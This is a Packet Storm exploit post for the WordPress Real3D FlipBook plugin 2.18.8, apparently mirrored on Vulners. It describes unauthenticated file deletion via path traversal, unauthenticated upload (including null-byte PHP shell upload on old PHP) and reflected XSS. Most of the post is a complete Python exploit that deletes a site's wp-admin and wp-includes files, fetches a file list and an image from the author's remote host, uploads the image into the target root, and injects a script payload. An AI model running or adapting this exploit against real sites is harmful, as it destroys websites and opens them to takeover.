Lucene search
K

WordPress CodeCanyon Real3D FlipBook 2.18.8 File Deletion / Upload / XSS

🗓️ 05 Jul 2016 00:00:00Reported by Mukarram KhalidType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 32 Views

Unauthenticated file deletion, unauthenticated image upload, reflected XSS in WordPress Real3D FlipBook Plugin 2.18.

Code
`1) Unauthenticated file/directory deletion  
  
Vulnerability exists in a file 'includes/process.php' where the user input eventually goes to PHP unlink() or rmdir() functions. We can give any file path or directory here. We can even delete the whole wordpress site. In my POC exploit, I'm just deleting the contents of wp-admin/ and wp-includes/ directories, which breaks the website anyways. The payload is really simple i.e. deleteBook=../../../wp-includes/customize .The only trick is to delete the deepest directory first with no other directories in it and then move gradually to the parent directory.  
  
  
2) Unauthenticated image upload (In case of old versions of php shell upload)  
  
This vuln also exists in 'includes/process.php' where the user input lands in PHP function file_put_contents(). An end user can control the path parameter, the data parameter and the part of name parameter. The file name gets concatenated to '.jpg', something like $_POST['pageName'].'.jpg'. An end user can upload the image anywhere even in the root directory. If the webserver is running the old version of PHP prior to 5.3 which was vulnerable to null byte injection/truncation attacks, we can also upload PHP files by injecting null bytes, something like , 'image.php%00.jpg', which will result in 'image.php'.  
  
3) Last one is A reflected XSS in 'includes/flipbooks.php'.   
  
User input ($_GET parameters) is directly echoed on the page. You can find more in depth details and code analysis in my blog post here. https://mukarramkhalid.com/wordpress-real-3d-flipbook-plugin-exploit/   
  
#########################################################################  
# [+] [POC][Exploit] CodeCanyon Real3D FlipBook WordPress Plugin  
# [+] http://codecanyon.net/item/real3d-flipbook-wordpress-plugin/6942587  
# [+] Multiple Vulnerabilities Found by: Mukarram Khalid  
# [+] https://mukarramkhalid.com/wordpress-real-3d-flipbook-plugin-exploit/  
# [+] Requirements : Python 3.4.x or higher, Requests Module  
# [+] Timeline: Vuln Found : 01-07-2016, Reported to Vendor: 03-07-2016  
########################################################################  
  
import os, json, base64  
try:  
import requests  
except:  
exit('[-] Importing Requests module failed')  
  
class wpFlipbook:  
''' Wordpress 3d flipbook plugin exploit '''  
  
headers = {'User-agent' : 'Mozilla/11.0'}  
payload1 = {'deleteBook' : ''}  
payload2 = {'imgbase' : '', 'bookName' : '../../../', 'pageName' : 'makman'}  
payload3 = {'action' : 'delete', 'bookId' : '<script>alert(/makman/)</script>'}  
imageUrl = 'http://makman.tk/makman.jpg'  
wpFilesUrl = 'http://makman.tk/wpFiles.json'  
  
def __init__(self, url):  
url = url.rstrip('/')  
if 'http://' in url or 'https://' in url:  
self.url = url  
else:  
self.url = 'http://' + url  
  
def http(self, url, data = {}, post = False):  
try:  
if post:  
r = requests.post(url, data = data, headers = self.headers, timeout = 20)  
else:  
r = requests.get(url, params = data, headers = self.headers, timeout = 20)  
except:  
exit('[-] Something went wrong. Please check your internet connection')  
return r  
  
def deleteFiles(self):  
print('[+] Loading Wordpress file structure')  
r = self.http(self.wpFilesUrl)  
wpFiles = json.loads(r.text)  
print('[+] Wordpress File structure loaded successfully')  
print('[+] Creating directory real3dflipbook')  
r = self.http(self.url + '/wp-content/plugins/real3d-flipbook/includes/process.php', {'imgbase' : 'makman'}, True)  
print('[+] Deleting Files from wp-includes/ & wp-admin/')  
for wpFile in wpFiles['wpFiles']:  
print(' [+] Deleting File ' + wpFile)  
self.payload1['deleteBook'] = wpFile  
r = self.http(self.url + '/wp-content/plugins/real3d-flipbook/includes/process.php', self.payload1, True)  
print('[+] Files have been deleted successfully')  
  
def uploadImage(self):  
print('[+] Loading image file')  
r = self.http('http://makman.tk/makman.jpg')  
encodedImage = base64.b64encode(r.content)  
self.payload2['imgbase'] = ';,' + encodedImage.decode('utf-8')  
print('[+] Uploading image file in target root directory')  
r = self.http(self.url + '/wp-content/plugins/real3d-flipbook/includes/process.php', self.payload2, True)  
print('[+] Image has been uploaded here ' + self.url + '/' + self.payload2['pageName'] + '.jpg')  
  
def xss(self):  
print('[+] Checking XSS payload')  
r = self.http(self.url + '/wp-content/plugins/real3d-flipbook/includes/flipbooks.php', self.payload3)  
if self.payload3['bookId'] in r.text:  
print('[+] Found XSS here :')  
print(' [+] ' + self.url + '/wp-content/plugins/real3d-flipbook/includes/flipbooks.php?action=' + self.payload3['action'] + '&bookId=' + self.payload3['bookId'])  
  
#########################################################################################################  
  
def banner():  
os.system('cls' if os.name == 'nt' else 'clear')  
tabs = ' '  
print(tabs + '*******************************************************************')  
print(tabs + '* [+] [POC][Exploit] CodeCanyon Real3D FlipBook WordPress Plugin *')  
print(tabs + '* [+] Multiple Vulnerabilities Found by: *')  
print(tabs + '* [+] https://mukarramkhalid.com *')  
print(tabs + '*******************************************************************\n\n')  
  
def main():  
banner()  
url = input('[+] Enter Url\n[+] E.g. http://test.com or http://test.com/wordpress\n[+] ')  
exploit = wpFlipbook(url)  
exploit.deleteFiles()  
exploit.uploadImage()  
exploit.xss()  
print('[+] Done')  
  
if __name__ == '__main__':  
try:  
main()  
except KeyboardInterrupt:  
exit('\n[-] CTRL-C detected.\n')  
# End  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation